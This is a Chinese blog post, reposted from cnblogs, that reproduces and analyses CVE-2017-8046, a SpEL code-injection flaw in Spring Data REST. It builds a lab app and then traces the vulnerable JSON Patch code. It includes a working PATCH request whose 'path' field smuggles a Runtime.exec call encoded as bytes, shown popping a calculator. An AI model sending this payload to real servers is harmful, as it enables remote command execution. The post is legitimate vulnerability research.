CVE-2017-8046 复现与分析

环境搭建

使用的项目为https://github.com/spring-guides/gs-accessing-data-rest.git里面的complete，直接用IDEA导入，并修改pom.xml中版本信息为漏洞版本。这里改为1.5.6。

之前尝试搭建了另一个验证环境，但是修改版本后加载一直报错，不知道是什么原因，写完在研究下。

直接运行，默认端口8080，访问http://localhost:8080/

people类有两个属性，firstName和lastName

 1 package hello;
 2
 3 import javax.persistence.Entity;
 4 import javax.persistence.GeneratedValue;
 5 import javax.persistence.GenerationType;
 6 import javax.persistence.Id;
 7
 8 @Entity
 9 public class Person {
10
11     @Id
12     @GeneratedValue(strategy = GenerationType.AUTO)
13     private long id;
14
15     private String firstName;
16     private String lastName;
17
18     public String getFirstName() {
19         return firstName;
20     }
21
22     public void setFirstName(String firstName) {
23         this.firstName = firstName;
24     }
25
26     public String getLastName() {
27         return lastName;
28     }
29
30     public void setLastName(String lastName) {
31         this.lastName = lastName;
32     }
33 }

根据rest api规定，用POST请求新建一个people，请求如下

POST /people HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 32

{"firstName":"w","lastName":"q"}

此时已创建一个people对象，通过GET请求可以访问对象

漏洞复现

需要用PATCH方法，而且请求格式为JSON。根据RFC 6902，发送JSON文档结构需要注意以下两点：

1、请求头为Content-Type: application/json-patch+json

2、需要参数op、路径path，其中op所支持的方法很多，如test，add，replace等，path参数则必须使用斜杠分割

这样我们就可以构造payload了

PATCH /people/1 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type:application/json-patch+json
Upgrade-Insecure-Requests: 1
Content-Length: 256

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{111,112,101,110,32,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112}))/lastName", "value": "vulhub" }]

参数path存在代码注入，可执行系统命令，这里运行的命令是open /Applications/Calculator.app，成功弹出计算器

漏洞分析

入口文件是位于org.springframework.data.rest.webmvc.config.JsonPatchHandler:apply()中

通过request.isJsonPatchRequest确定是PATCH请求之后，调用applyPatch(request.getBody(), target);。其中isJsonPatchRequest的判断方法是

1 public boolean isJsonPatchRequest() {
2     // public static final MediaType JSON_PATCH_JSON = MediaType.valueOf("application/json-patch+json");
3     return isPatchRequest() && RestMediaTypes.JSON_PATCH_JSON.isCompatibleWith(contentType);
4 }

所以这就要求我们使用PATCH方法时，contentType要为application/json-patch+json。

继续跟踪进入到applyPatch()方法中：

1 <T> T applyPatch(InputStream source, T target) throws Exception {
2     return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
3 }

继续跟踪进入到getPatchOperations()中：

1 private Patch getPatchOperations(InputStream source) {
2     try {
3         return new JsonPatchPatchConverter(mapper).convert(mapper.readTree(source));
4     } catch (Exception o_O) {
5         throw new HttpMessageNotReadableException(
6                 String.format("Could not read PATCH operations! Expected %s!", RestMediaTypes.JSON_PATCH_JSON), o_O);
7     }
8 }

利用mapper初始化JsonPatchPatchConverter()对象之后调用convert()方法。跟踪org.springframework.data.rest.webmvc.json.patch.JsonPatchPatchConverter:convert()方法

 1 public Patch convert(JsonNode jsonNode) {
 2         if (!(jsonNode instanceof ArrayNode)) {
 3             throw new IllegalArgumentException("JsonNode must be an instance of ArrayNode");
 4         } else {
 5             ArrayNode opNodes = (ArrayNode)jsonNode;
 6             List<PatchOperation> ops = new ArrayList(opNodes.size());
 7             Iterator elements = opNodes.elements();
 8
 9             while(elements.hasNext()) {
10                 JsonNode opNode = (JsonNode)elements.next();
11                 String opType = opNode.get("op").textValue();
12                 String path = opNode.get("path").textValue();
13                 JsonNode valueNode = opNode.get("value");
14                 Object value = this.valueFromJsonNode(path, valueNode);
15                 String from = opNode.has("from") ? opNode.get("from").textValue() : null;
16                 if (opType.equals("test")) {
17                     ops.add(new TestOperation(path, value));
18                 } else if (opType.equals("replace")) {
19                     ops.add(new ReplaceOperation(path, value));
20                 } else if (opType.equals("remove")) {
21                     ops.add(new RemoveOperation(path));
22                 } else if (opType.equals("add")) {
23                     ops.add(new AddOperation(path, value));
24                 } else if (opType.equals("copy")) {
25                     ops.add(new CopyOperation(path, from));
26                 } else {
27                     if (!opType.equals("move")) {
28                         throw new PatchException("Unrecognized operation type: " + opType);
29                     }
30
31                     ops.add(new MoveOperation(path, from));
32                 }
33             }
34
35             return new Patch(ops);
36         }
37     }

convert()方法返回Patch()对象，其中的ops包含了我们的payload。进入到org.springframework.data.rest.webmvc.json.patch.Patch中,

1 public Patch(List<PatchOperation> operations) {
2     this.operations = operations;
3 }

通过上一步地分析，ops是一个List<PatchOperation>对象，每一个PatchOperation对象中包含了op、path、value三个内容。进入到PatchOperation分析其赋值情况

1 public PatchOperation(String op, String path, Object value) {
2
3     this.op = op;
4     this.path = path;
5     this.value = value;
6     this.spelExpression = pathToExpression(path);
7 }

进入到pathToExpression()中

1 public static Expression pathToExpression(String path) {
2     return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path));
3 }

可以看到这是一个SPEL表达式解析操作，但是在解析之前调用了pathToSpEL()。进入到pathToSpEL()中。

 1 private static String pathToSpEL(String path) {
 2     return pathNodesToSpEL(path.split("\\/"));          // 使用/分割路径
 3 }
 4
 5 private static String pathNodesToSpEL(String[] pathNodes) {
 6     StringBuilder spelBuilder = new StringBuilder();
 7     for (int i = 0; i < pathNodes.length; i++) {
 8         String pathNode = pathNodes[i];
 9         if (pathNode.length() == 0) {
10             continue;
11         }
12         if (APPEND_CHARACTERS.contains(pathNode)) {
13             if (spelBuilder.length() > 0) {
14                 spelBuilder.append(".");            // 使用.重新组合路径
15             }
16             spelBuilder.append("$[true]");
17             continue;
18         }
19         try {
20             int index = Integer.parseInt(pathNode);
21             spelBuilder.append('[').append(index).append(']');
22         } catch (NumberFormatException e) {
23             if (spelBuilder.length() > 0) {
24                 spelBuilder.append('.');
25             }
26             spelBuilder.append(pathNode);
27         }
28     }
29     String spel = spelBuilder.toString();
30     if (spel.length() == 0) {
31         spel = "#this";
32     }
33     return spel;
34 }

重新回到org.springframework.data.rest.webmvc.config.JsonPatchHandler:applyPatch()中，

1 T applyPatch(InputStream source, T target) throws Exception {
2     return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
3 }

实际上PatchOperation是一个抽象类，实际上应该调用其实现类的perform()方法。通过动态调试分析，此时的operation实际是ReplaceOperation类的实例(这也和我们传入的replace操作是对应的)。进入到ReplaceOperation:perform()中，

1 <T> void perform(Object target, Class<T> type) {
2     setValueOnTarget(target, evaluateValueFromTarget(target, type));
3 }
4
5 protected void setValueOnTarget(Object target, Object value) {
6     spelExpression.setValue(target, value);
7 }

在setValueOnTarget()中会调用spelExpression对spel表示式进行解析，从而触发漏洞。

漏洞验证

明天用pocsuite写下poc，现在困了。

转载于:https://www.cnblogs.com/co10rway/p/9380441.html